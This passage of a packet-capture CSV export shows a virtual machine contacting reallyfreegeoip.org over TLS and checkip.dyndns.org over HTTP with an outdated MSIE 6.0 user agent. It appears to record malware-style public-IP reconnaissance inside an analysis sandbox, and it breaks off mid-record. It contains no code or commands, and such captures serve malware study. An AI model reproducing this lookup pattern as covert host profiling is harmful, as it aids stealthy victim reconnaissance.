{\"\"sport\"\": 50112, \"\"dport\"\": 443, \"\"seq\"\": 2730598044, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:55.509313,74,TCP 188.114.96.0:443 -> 192.168.122.168:50112,188.114.96.0,192.168.122.168,443,50112,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2760143355 Ack=2730598045,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3c0a48471fba2c19e9d8012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z.......q........dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50112, \"\"seq\"\": 2760143355, \"\"ack\"\": 2730598045, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:55.509450,75,TCP 192.168.122.168:50112 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50112,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2730598045 Ack=2760143356,525400577f945254007bb79208004500002876a0400080062c6cc0a87aa8bc726000c3c001bba2c19e9da48471fc5010040257de0000,\"RT.W..RT.{....E..(v.@...,l..z..r`...........q.P...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30368, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11372, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50112, \"\"dport\"\": 443, \"\"seq\"\": 2730598045, \"\"ack\"\": 2760143356, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:55.509826,76,TCP 192.168.122.168:50112 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50112,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2730598045 Ack=2760143356,525400577f945254007bb79208004500016376a1400080062b30c0a87aa8bc726000c3c001bba2c19e9da48471fc5018040259190000160301013601000132030169d776056a78828e6dbe1d9d37f71886d23236321d77eb97e6a79ae7b42b8bd900000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...+0..z..r`...........q.P...Y.......6...2..i.v.jx..m...7....262.w.......+......\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30369, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11056, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50112, \"\"dport\"\": 443, \"\"seq\"\": 2730598045, \"\"ack\"\": 2760143356, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:53  (1775728133) random_bytes=6a78828e6dbe1d9d37f71886d23236321d77eb97e6a79ae7b42b8bd9 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:55.509846,77,TCP 188.114.96.0:443 -> 192.168.122.168:50112,188.114.96.0,192.168.122.168,443,50112,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2760143356 Ack=2730598360,5254007bb792525400577f940800450000286fe040004006732cbc726000c0a87aa801bbc3c0a48471fca2c19fd85010005357de0000,\"RT.{..RT.W....E..(o.@.@.s,.r`...z.......q.....P..SW...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 28640, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29484, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50112, \"\"seq\"\": 2760143356, \"\"ack\"\": 2730598360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:55.573041,78,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782496889 Ack=3385610422,525400577f945254007bb792080045000028d2994000800670b9c0a87aa884e2f749c3b40050e1745279c9cc50b650100402b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tRy..P.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53913, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28857, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496889, \"\"ack\"\": 3385610422, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:55.903543,79,TCP 188.114.96.0:443 -> 192.168.122.168:50112,188.114.96.0,192.168.122.168,443,50112,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2760143356 Ack=2730598360,Error,Error extracting content: b'j:;G\\xf6\\xc5\\x04\\xae\\x10d5\\x1d\\x18@[\\xd5#HJ\\xba\\xe4\\xfc\\xd5\\xf6\\xe7`\\xbbX\\xf0\\x03\\x81Z\\xad\\x9cr\\x0f\\xa3\\x81\\x15\\xd3=\\xa7q\\xaaAuO\\x8cL\\xf2va(6YP\\xdcnmg\\x07K\\xfd$\\xbe\\xb6P/\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b',,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 28641, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29360, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50112, \"\"seq\"\": 2760143356, \"\"ack\"\": 2730598360, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:22:55  (1777400575) random_bytes=ff2761c8e2cc4fb834b485677cae5064852b7452444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"j:;G\\\\\\\\xf6\\\\\\\\xc5\\\\u0004\\\\\\\\xae\\\\u0010d5\\\\u001d\\\\u0018@[\\\\\\\\xd5#HJ\\\\\\\\xba\\\\\\\\xe4\\\\\\\\xfc\\\\\\\\xd5\\\\\\\\xf6\\\\\\\\xe7`\\\\\\\\xbbX\\\\\\\\xf0\\\\u0003\\\\\\\\x81Z\\\\\\\\xad\\\\\\\\x9cr\\\\u000f\\\\\\\\xa3\\\\\\\\x81\\\\u0015\\\\\\\\xd3=\\\\\\\\xa7q\\\\\\\\xaaAuO\\\\\\\\x8c\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:55.910470,80,TCP 192.168.122.168:50112 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50112,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=2730598360 Ack=2760143479,525400577f945254007bb79208004500002876a2400080062c6ac0a87aa8bc726000c3c001bba2c19fd8a48472775011040257de0000,\"RT.W..RT.{....E..(v.@...,j..z..r`...........rwP...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30370, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11370, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50112, \"\"dport\"\": 443, \"\"seq\"\": 2730598360, \"\"ack\"\": 2760143479, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:55.910597,81,TCP 188.114.96.0:443 -> 192.168.122.168:50112,188.114.96.0,192.168.122.168,443,50112,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2760143479 Ack=2730598361,5254007bb792525400577f940800450000286fe240004006732abc726000c0a87aa801bbc3c0a4847277a2c19fd95011005357de0000,RT.{..RT.W....E..(o.@.@.s*.r`...z.......rw....P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 28642, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 29482, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50112, \"\"seq\"\": 2760143479, \"\"ack\"\": 2730598361, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:55.910667,82,TCP 192.168.122.168:50112 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50112,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2730598361 Ack=2760143480,525400577f945254007bb79208004500002876a3400080062c69c0a87aa8bc726000c3c001bba2c19fd9a48472785010040257de0000,\"RT.W..RT.{....E..(v.@...,i..z..r`...........rxP...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30371, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11369, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50112, \"\"dport\"\": 443, \"\"seq\"\": 2730598361, \"\"ack\"\": 2760143480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:56.016912,83,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d29a400080067039c0a87aa884e2f749c3b40050e1745279c9cc50b650180402b8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p9..z....I...P.tRy..P.P.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53914, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28729, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496889, \"\"ack\"\": 3385610422, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:56.016972,84,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385610422 Ack=3782497016,5254007bb792525400577f9408004500002838d8400040064a7b84e2f749c0a87aa80050c3b4c9cc50b6e17452f850100053b7970000,RT.{..RT.W....E..(8.@.@.J{...I..z..P....P..tR.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14552, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19067, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385610422, \"\"ack\"\": 3782497016, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:56.448636,85,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938d940004006494984e2f749c0a87aa80050c3b4c9cc50b6e17452f850180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a353620474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, 